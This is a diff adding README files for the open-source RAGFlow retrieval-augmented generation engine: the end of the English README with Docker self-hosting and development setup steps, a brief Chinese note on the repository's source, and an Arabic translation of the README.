+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 Table of Contents</b></summary>
+
+- 💡 [What is RAGFlow?](#-what-is-ragflow)
+- 🎮 [Get Started](#-get-started)
+- 📌 [Latest Updates](#-latest-updates)
+- 🌟 [Key Features](#-key-features)
+- 🔎 [System Architecture](#-system-architecture)
+- 🎬 [Self-Hosting](#-self-hosting)
+- 🔧 [Configurations](#-configurations)
+- 🔧 [Build a Docker image](#-build-a-docker-image)
+- 🔨 [Launch service from source for development](#-launch-service-from-source-for-development)
+- 📚 [Documentation](#-documentation)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [Community](#-community)
+- 🙌 [Contributing](#-contributing)
+
+</details>
+
+## 💡 What is RAGFlow?
+
+[RAGFlow](https://ragflow.io/) is a leading open-source Retrieval-Augmented Generation ([RAG](https://ragflow.io/basics/what-is-rag)) engine that fuses cutting-edge RAG with Agent capabilities to create a superior context layer for LLMs. It offers a streamlined RAG workflow adaptable to enterprises of any scale. Powered by a converged [context engine](https://ragflow.io/basics/what-is-agent-context-engine) and pre-built agent templates, RAGFlow enables developers to transform complex data into high-fidelity, production-ready AI systems with exceptional efficiency and precision.
+
+## 🎮 Get Started
+
+Try our cloud service at [https://cloud.ragflow.io](https://cloud.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 Latest Updates
+
+- 2026-06-15 Support multiple chat channels such as Feishu, Discord, Telegram, Line, etc.
+- 2026-04-24 Supports DeepSeek v4.
+- 2026-03-24 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — Provides an official skill for accessing RAGFlow datasets via OpenClaw.
+- 2025-12-26 Supports 'Memory' for AI agent.
+- 2025-11-19 Supports Gemini 3 Pro.
+- 2025-11-12 Supports data synchronization from Confluence, S3, Notion, Discord, Google Drive.
+- 2025-10-23 Supports MinerU & Docling as document parsing methods.
+- 2025-10-15 Supports orchestrable ingestion pipeline.
+- 2025-08-08 Supports OpenAI's latest GPT-5 series models.
+- 2025-08-01 Supports agentic workflow and MCP.
+- 2025-05-23 Adds a Python/JavaScript code executor component to Agent.
+- 2025-03-19 Supports using a multi-modal model to make sense of images within PDF or DOCX files.
+
+## 🎉 Stay Tuned
+
+⭐️ Star our repository to stay up-to-date with exciting new features and improvements! Get instant notifications for new
+releases! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Key Features
+
+### 🍭 **"Quality in, quality out"**
+
+- [Deep document understanding](./deepdoc/README.md)-based knowledge extraction from unstructured data with complicated
+  formats.
+- Finds "needle in a data haystack" of literally unlimited tokens.
+
+### 🍱 **Template-based chunking**
+
+- Intelligent and explainable.
+- Plenty of template options to choose from.
+
+### 🌱 **Grounded citations with reduced hallucinations**
+
+- Visualization of text chunking to allow human intervention.
+- Quick view of the key references and traceable citations to support grounded answers.
+
+### 🍔 **Compatibility with heterogeneous data sources**
+
+- Supports Word, slides, excel, txt, images, scanned copies, structured data, web pages, and more.
+
+### 🛀 **Automated and effortless RAG workflow**
+
+- Streamlined RAG orchestration catered to both personal and large businesses.
+- Configurable LLMs as well as embedding models.
+- Multiple recall paired with fused re-ranking.
+- Intuitive APIs for seamless integration with business.
+
+## 🔎 System Architecture
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 Self-Hosting
+
+### 📝 Prerequisites
+
+- CPU >= 4 cores
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Required only if you intend to use the code executor (sandbox) feature of RAGFlow.
+
+> [!TIP]
+> If you have not installed Docker on your local machine (Windows, Mac, or Linux), see [Install Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Start up the server
+
+1. Ensure `vm.max_map_count` >= 262144:
+
+   > To check the value of `vm.max_map_count`:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Reset `vm.max_map_count` to a value at least 262144 if it is not.
+   >
+   > ```bash
+   > # In this case, we set it to 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > This change will be reset after a system reboot. To ensure your change remains permanent, add or update the
+   > `vm.max_map_count` value in **/etc/sysctl.conf** accordingly:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. Clone the repo:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. Start up the server using the pre-built Docker images:
+
+> [!CAUTION]
+> All Docker images are built for x86 platforms. We don't currently offer Docker images for ARM64.
+> If you are on an ARM64 platform, follow [this guide](https://ragflow.io/docs/dev/build_docker_image) to build a Docker image compatible with your system.
+
+> The command below downloads the `v0.26.4` edition of the RAGFlow Docker image. See the following table for descriptions of different RAGFlow editions. To download a RAGFlow edition different from `v0.26.4`, update the `RAGFLOW_IMAGE` variable accordingly in **docker/.env** before using `docker compose` to start the server.
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # Optional: use a stable tag (see releases: https://github.com/infiniflow/ragflow/releases)
+   # This step ensures the **entrypoint.sh** file in the code matches the Docker image version.
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> Note: Prior to `v0.22.0`, we provided both images with embedding models and slim images without embedding models. Details as follows:
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> Starting with `v0.22.0`, we ship only the slim edition and no longer append the **-slim** suffix to the image tag.
+
+4. Check the server status after having the server up and running:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _The following output confirms a successful launch of the system:_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > If you skip this confirmation step and directly log in to RAGFlow, your browser may prompt a `network abnormal`
+   > error because, at that moment, your RAGFlow may not be fully initialized.
+   >
+5. In your web browser, enter the IP address of your server and log in to RAGFlow.
+
+   > With the default settings, you only need to enter `http://IP_OF_YOUR_MACHINE` (**sans** port number) as the default
+   > HTTP serving port `80` can be omitted when using the default configurations.
+   >
+6. In [service_conf.yaml.template](./docker/service_conf.yaml.template), select the desired LLM factory in `user_default_llm` and update
+   the `API_KEY` field with the corresponding API key.
+
+   > See [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) for more information.
+   >
+
+   _The show is on!_
+
+## 🔧 Configurations
+
+When it comes to system configurations, you will need to manage the following files:
+
+- [.env](./docker/.env): Keeps the fundamental setups for the system, such as `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, and
+  `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configures the back-end services. The environment variables in this file will be automatically populated when the Docker container starts. Any environment variables set within the Docker container will be available for use, allowing you to customize service behavior based on the deployment environment.
+- [docker-compose.yml](./docker/docker-compose.yml): The system relies on [docker-compose.yml](./docker/docker-compose.yml) to start up.
+
+> The [./docker/README](./docker/README.md) file provides a detailed description of the environment settings and service
+> configurations which can be used as `${ENV_VARS}` in the [service_conf.yaml.template](./docker/service_conf.yaml.template) file.
+
+To update the default HTTP serving port (80), go to [docker-compose.yml](./docker/docker-compose.yml) and change `80:80`
+to `<YOUR_SERVING_PORT>:80`.
+
+Updates to the above configurations require a reboot of all containers to take effect:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Switch doc engine from Elasticsearch to Infinity
+
+RAGFlow uses Elasticsearch by default for storing full text and vectors. To switch to [Infinity](https://github.com/infiniflow/infinity/), follow these steps:
+
+1. Stop all running containers:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+> [!WARNING]
+> `-v` will delete the docker container volumes, and the existing data will be cleared.
+
+2. Set `DOC_ENGINE` in **docker/.env** to `infinity`.
+3. Start the containers:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Switching to Infinity on a Linux/arm64 machine is not yet officially supported.
+
+## 🔧 Build a Docker image
+
+This image is approximately 2 GB in size and relies on external LLM and embedding services.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+Or if you are behind a proxy, you can pass proxy arguments:
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Launch service from source for development
+
+> [!IMPORTANT]
+> After cloning the repository for the first time, run `lefthook install` once from the repo root to enable local Git hooks.
+
+1. Install `uv`, or skip this step if it is already installed:
+
+   ```bash
+   pipx install uv
+   ```
+2. Clone the source code and install Python dependencies:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. Launch the dependent services (MinIO, Elasticsearch, Redis, and MySQL) using Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Add the following line to `/etc/hosts` to resolve all hosts specified in **docker/.env** to `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. If you cannot access HuggingFace, set the `HF_ENDPOINT` environment variable to use a mirror site:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. If your operating system does not have jemalloc, please install it as follows:
+
+   ```bash
+   # Ubuntu
+   sudo apt-get install libjemalloc-dev
+   # CentOS
+   sudo yum install jemalloc
+   # OpenSUSE
+   sudo zypper install jemalloc
+   # macOS
+   sudo brew install jemalloc
+   ```
+6. Launch backend service:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. Install frontend dependencies:
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. Launch frontend service:
+
+   ```bash
+   npm run dev
+   ```
+
+   _The following output confirms a successful launch of the system:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. Stop RAGFlow front-end and back-end service after development is complete:
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 Documentation
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+See the [RAGFlow Roadmap 2026](https://github.com/infiniflow/ragflow/issues/12241)
+
+## 🏄 Community
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contributing
+
+RAGFlow flourishes via open-source collaboration. In this spirit, we embrace diverse contributions from the community.
+If you would like to be a part, review our [Contribution Guidelines](https://ragflow.io/docs/dev/contributing) first.

README.wehub.md

@@ -0,0 +1,7 @@
+# WeHub 来源说明
+
+- 原始项目：`infiniflow/ragflow`
+- 原始仓库：https://github.com/infiniflow/ragflow
+- 导入方式：上游默认分支的最新快照
+- 原作者、版权和许可证信息以原始仓库及本仓库 LICENSE 为准
+- 本文件仅用于记录来源，不代表 WeHub 是原项目作者

README_ar.md

@@ -0,0 +1,415 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DBEDFA"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="follow on X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Static Badge" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Latest%20Release" alt="Latest Release">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="license">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Document</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 جدول المحتويات</b></summary>
+
+- 💡 [ما هو RAGFlow؟](#-what-is-ragflow)
+- 🎮 [ابدأ](#-get-started)
+- 📌 [آخر التحديثات](#-latest-updates)
+- 🌟 [الميزات الرئيسية](#-key-features)
+- 🔎 [بنية النظام](#-system-architecture)
+- 🎬 [الاستضافة الذاتية](#-self-hosting)
+- 🔧 [التكوينات](#-configurations)
+- 🔧 [إنشاء صورة Docker](#-build-a-docker-image)
+- 🔨 [إطلاق الخدمة من المصدر للتطوير](#-launch-service-from-source-for-development)
+- 📚 [التوثيق](#-documentation)
+- 📜 [Roadmap](#-roadmap)
+- 🏄 [المجتمع](#-community)
+- 🙌 [مساهمة](#-contributing)
+
+</details>
+
+## 💡 ما هو RAGFlow؟
+
+يُعد مشروع [RAGFlow](https://ragflow.io/) محركًا رائدًا ومفتوح المصدر للاسترجاع المعزز بالتوليد (<bdi dir="ltr">RAG</bdi>)، ويجمع أحدث تقنيات <bdi dir="ltr">RAG</bdi> مع قدرات الوكلاء لبناء طبقة سياق متقدمة لنماذج <bdi dir="ltr">LLMs</bdi>. يوفّر سير عمل <bdi dir="ltr">RAG</bdi> مبسّطًا وقابلًا للتكيّف مع المؤسسات بمختلف أحجامها. وبالاعتماد على [محرك سياق موحّد](https://ragflow.io/basics/what-is-agent-context-engine) وقوالب وكلاء جاهزة، يتيح <bdi dir="ltr">RAGFlow</bdi> للمطورين تحويل البيانات المعقّدة إلى أنظمة <bdi dir="ltr">AI</bdi> عالية الدقة وجاهزة للإنتاج بكفاءة وموثوقية.
+
+## 🎮 ابدأ
+
+جرّب النسخة التجريبية على [https://cloud.ragflow.io](https://cloud.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 آخر التحديثات
+
+- 15-06-2026 يدعم قنوات دردشة متعددة مثل Feishu و Discord و Telegram و Line وما إلى ذلك.
+- 24-04-2026 يدعم DeepSeek v4.
+- 24-03-2026 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — توفر مهارة رسمية للوصول إلى مجموعات بيانات RAGFlow عبر OpenClaw.
+- 26-12-2025 يدعم ميزة "Memory" لوكلاء الذكاء الاصطناعي.
+- 11-11-2025 يدعم Gemini 3 Pro.
+- 12-11-2025 يدعم مزامنة البيانات من Confluence، S3، Notion، Discord، Google Drive.
+- 23-10-2025 يدعم MinerU وDocling كطرق لتحليل المستندات.
+- 15-10-2025 يدعم العرض الأوركسترالي pipeline.
+- 08-08-2025 يدعم أحدث موديلات سلسلة OpenAI.
+- 01-08-2025 يدعم سير العمل الوكيل وMCP.
+- 23-05-2025 تمت إضافة مكون منفذ كود Python/JavaScript إلى Agent.
+- 19-03-2025 يدعم استخدام نموذج متعدد الوسائط لفهم الصور داخل ملفات PDF أو DOCX.
+
+## 🎉 تابعونا
+
+⭐️ قم بتمييز مستودعنا بنجمة لتبقى على اطلاع بالميزات والتحسينات الجديدة والمثيرة! احصل على إشعارات فورية بالجديد
+الإصدارات! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 الميزات الرئيسية
+
+### 🍭 **"الجودة في الداخل، الجودة في الخارج"**
+
+- [الفهم العميق للمستندات](./deepdoc/README.md) لاستخراج المعرفة من البيانات غير المنظمة
+  ذات التنسيقات المعقدة.
+- يجد "إبرة في كومة قش بيانات" من الرموز غير المحدودة حرفيًا.
+
+### 🍱 **التقطيع القائم على القالب**
+
+- ذكي وقابل للتفسير.
+- الكثير من خيارات القالب للاختيار من بينها.
+
+### 🌱 **استشهادات مؤرضة لتقليل الهلوسة**
+
+- تصور تقطيع النص للسماح بالتدخل البشري.
+- عرض سريع للمراجع الرئيسية والاستشهادات التي يمكن تتبعها لدعم الإجابات المبنية على أسس سليمة.
+
+### 🍔 **التوافق مع مصادر البيانات غير المتجانسة**
+
+- يدعم Word، والشرائح، وExcel، وtxt، والصور، والنسخ الممسوحة ضوئيًا، والبيانات المنظمة، وصفحات الويب، والمزيد.
+
+### 🛀 **سير عمل RAG آلي وسهل**
+
+- تنسيق RAG مبسط يلبي احتياجات الشركات الشخصية والكبيرة على حد سواء.
+- نماذج LLMs قابلة للتكوين بالإضافة إلى نماذج embedding.
+- الاستدعاء المتعدد المقترن بإعادة التصنيف المدمجة.
+- APIs بديهي للتكامل السلس مع الأعمال.
+
+## 🔎 هندسة النظام
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 الاستضافة الذاتية
+
+### 📝 المتطلبات الأساسية
+
+- CPU >= 4 مراكز
+- الرام >= 16 جيجا
+- القرص >= 50 جيجا بايت
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- بايثون >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): مطلوب فقط إذا كنت تنوي استخدام ميزة منفذ التعليمات البرمجية (وضع الحماية) لـ RAGFlow.
+
+> [!TIP]
+> إذا لم تقم بتثبيت Docker على جهازك المحلي (Windows أو Mac أو Linux)، راجع [تثبيت Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 بدء تشغيل الخادم
+
+1. تأكد من `vm.max_map_count` >= 262144:
+
+   > للتحقق من قيمة `vm.max_map_count`:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > أعد تعيين `vm.max_map_count` إلى قيمة 262144 على الأقل إذا لم تكن كذلك.
+   >
+   > ```bash
+   > # In this case, we set it to 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > سيتم إعادة ضبط هذا التغيير بعد إعادة تشغيل النظام. لضمان بقاء التغيير دائمًا، قم بإضافة أو تحديث
+   > `vm.max_map_count` القيمة في **/etc/sysctl.conf** وفقًا لذلك:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. استنساخ الريبو:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. ابدأ تشغيل الخادم باستخدام صور Docker المعدة مسبقًا:
+
+> [!CAUTION]
+> جميع الصور Docker مصممة لمنصات x86. لا نعرض حاليًا صور Docker لـ ARM64.
+> إذا كنت تستخدم نظامًا أساسيًا ARM64، فاتبع [هذا الدليل](https://ragflow.io/docs/dev/build_docker_image) لإنشاء صورة Docker متوافقة مع نظامك.
+
+> يقوم الأمر أدناه بتنزيل إصدار `v0.26.4` من الصورة RAGFlow Docker. راجع الجدول التالي للحصول على أوصاف لإصدارات RAGFlow المختلفة. لتنزيل إصدار RAGFlow مختلف عن `v0.26.4`، قم بتحديث المتغير `RAGFLOW_IMAGE` وفقًا لذلك في **docker/.env** قبل استخدام `docker compose` لبدء تشغيل الخادم.
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # Optional: use a stable tag (see releases: https://github.com/infiniflow/ragflow/releases)
+   # This step ensures the **entrypoint.sh** file in the code matches the Docker image version.
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> ملاحظة: قبل `v0.22.0`، قدمنا ​​كلتا الصورتين بنماذج embedding وصورًا رفيعة بدون نماذج embedding. التفاصيل على النحو التالي:
+
+| RAGFlow علامة الصورة | حجم الصورة (جيجابايت) | هل لديه نماذج embedding؟ | مستقر؟        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1 | &approx;9 | ✔️ | إصدار مستقر |
+| v0.21.1-slim | &approx;2 | ❌ | إصدار مستقر |
+
+> بدءًا من `v0.22.0`، نقوم بشحن الإصدار النحيف فقط ولم نعد نلحق اللاحقة **-slim** بعلامة الصورة.
+
+4. التحقق من حالة الخادم بعد تشغيل الخادم:
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _النتيجة التالية تؤكد الإطلاق الناجح للنظام:_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > إذا تخطيت خطوة التأكيد هذه وقمت بتسجيل الدخول مباشرة إلى RAGFlow، فقد يعرض متصفحك تنبيه `network abnormal`
+   > خطأ لأنه في تلك اللحظة، قد لا تتم تهيئة RAGFlow بشكل كامل.
+   >
+5. في متصفح الويب الخاص بك، أدخل عنوان IP الخاص بالخادم الخاص بك وقم بتسجيل الدخول إلى RAGFlow.
+
+   > باستخدام الإعدادات الافتراضية، ما عليك سوى إدخال `http://IP_OF_YOUR_MACHINE` (**من دون** رقم المنفذ) كإعداد افتراضي
+   > HTTP يمكن حذف منفذ العرض `80` عند استخدام التكوينات الافتراضية.
+   >
+6. في [service_conf.yaml.template](./docker/service_conf.yaml.template)، حدد المصنع LLM المطلوب في `user_default_llm` وقم بالتحديث
+   الحقل `API_KEY` مع مفتاح API المقابل.
+
+   > راجع [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) لمزيد من المعلومات.
+   >
+
+   _العرض بدأ!_
+
+## 🔧 التكوينات
+
+عندما يتعلق الأمر بتكوينات النظام، ستحتاج إلى إدارة الملفات التالية:
+
+- [.env](./docker/.env): يحتفظ بالإعدادات الأساسية للنظام، مثل `SVR_HTTP_PORT`، `MYSQL_PASSWORD`، و
+  `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template): تكوين الخدمات الخلفية. سيتم ملء متغيرات البيئة في هذا الملف تلقائيًا عند بدء تشغيل الحاوية Docker. ستكون أي متغيرات بيئة تم تعيينها داخل حاوية Docker متاحة للاستخدام، مما يسمح لك بتخصيص سلوك الخدمة استنادًا إلى بيئة النشر.
+- [docker-compose.yml](./docker/docker-compose.yml): يعتمد النظام على [docker-compose.yml](./docker/docker-compose.yml) لبدء التشغيل.
+
+> يوفر الملف [./docker/README](./docker/README.md) وصفًا تفصيليًا لإعدادات البيئة والخدمة
+> التكوينات التي يمكن استخدامها كـ `${ENV_VARS}` في ملف [service_conf.yaml.template](./docker/service_conf.yaml.template).
+
+لتحديث منفذ العرض الافتراضي HTTP (80)، انتقل إلى [docker-compose.yml](./docker/docker-compose.yml) وقم بتغيير `80:80`
+إلى `<YOUR_SERVING_PORT>:80`.
+
+تتطلب تحديثات التكوينات المذكورة أعلاه إعادة تشغيل جميع الحاويات لتصبح سارية المفعول:
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### تبديل محرك المستندات من Elasticsearch إلى Infinity
+
+RAGFlow يستخدم Elasticsearch بشكل افتراضي لتخزين النص الكامل والمتجهات. للتبديل إلى [Infinity](https://github.com/infiniflow/infinity/)، اتبع الخطوات التالية:
+
+1. إيقاف كافة الحاويات قيد التشغيل:
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+> [!WARNING]
+> `-v` سوف يحذف docker وحدات تخزين الحاوية، وسيتم مسح البيانات الموجودة.
+
+2. اضبط `DOC_ENGINE` في **docker/.env** على `infinity`.
+3. ابدأ الحاويات:
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> التبديل إلى Infinity على جهاز Linux/arm64 غير مدعوم رسميًا بعد.
+
+## 🔧 أنشئ صورة Docker
+
+يبلغ حجم هذه الصورة حوالي 2 غيغابايت وتعتمد على خدمات LLM وembedding الخارجية.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+أو إذا كنت خلف وكيل، فيمكنك تمرير وسيطات الوكيل:
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 إطلاق الخدمة من المصدر للتطوير
+
+1. قم بتثبيت `uv`، أو قم بتخطي هذه الخطوة إذا كان مثبتًا بالفعل:
+
+   ```bash
+   pipx install uv
+   ```
+2. استنساخ الكود المصدري وتثبيت تبعيات بايثون:
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. قم بتشغيل الخدمات التابعة (MinIO وElasticsearch وRedis وMySQL) باستخدام Docker Compose:
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
